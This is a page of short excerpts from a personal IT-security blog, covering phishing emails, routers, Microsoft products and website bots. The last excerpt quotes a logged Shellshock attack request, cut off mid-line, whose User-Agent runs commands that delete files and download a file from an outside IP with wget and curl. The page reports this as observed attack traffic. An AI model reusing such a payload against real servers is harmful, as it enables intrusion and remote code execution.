IRS(Internal Revenue Service) is the official authority in the USA to collect taxes. “Why would someone phish them?”, you may ask. That’s why:(see red area below). In the form they ask you to have access to your bank account. They have all needed proves to substitute you: address, tax payer ID and many […]
If you receive on LinkedIn an email like the one below, with the subject “get back to me ASAP”, wouldn’t you wonder who is needing you so badly? Do you want to sale 50% ownership or 100% ownership of your business. I just want something casual I could invest on with Eight Hundred Thousand […]
Microsoft finally found out that Free is very, very powerful. Especially when you want to do “free” marketing. For example, this link is going viral across the Internet. So, in the Microsoft way: “What do you want to download today?” 🙂 (I hope this slogan is not copyrighted. 🙂 ) Thank you, Eric Ligman. If you’re […]
If you are living in Germany, Austria or Switzerland, there is a high chance that you are using one of the AVM’s FritzBox for your broadband connection. The FritzBox is a very small device which runs a PowerPC processor and between 16 and 32 MB RAM. This is almost nothing! So, you can’t install antivirus […]
Ever tried to get the version of an MSI package on Linux ? Exiftool doesn’t do that, unfortunately. I requested it in the forum, let’s see if somebody jumps on it. 🙂 Until then, try to use the system utility “file” and do some parsing on the bold red text. #file google.msi: Composite Document File […]
We live in the world of Analytics where words like “Big Data” are everywhere to be seen. But, are you really sure that the visitors of your website or blog are really interested in your content? A few years ago, maybe… But now, the cybercriminals, or more exactly their bots, are trying to gain access […]
I was installing an update of OneNote and I suddenly received this popup: Continuing could be expensive” You’re connected to a network that limits downloads every month. We need to stream some large files over your network connection to install Ofifice, so we recommend installing while connected to an unrestricted netowork. … Seriourly, Microsoft? […]
According to some online sources, PORN is what uses around 30% of the Internet’s bandwidth. Why do I care about this? Because the top searches in my news portal IT Security News (www.itsecuritynews.info) are: nude videos, porn and naked pictures of celebrities. I guess we are living in a very … lonely world. This is also how […]
I read very often about vulnerabilities and companies that got hacked. Many times, the reason for which they got hacked was because some recommendation issued by some smart people (read: security minded people) are ignored. But why are they ignored? I found some articles where several explanations are given for what is called “information avoidance“. […]
One of my HTTP servers hosted on an Amazon EC2 receives regularly strange requests like these: One such request looks like this: GET /cgi-bin/php5 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plainrnrnXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; […]
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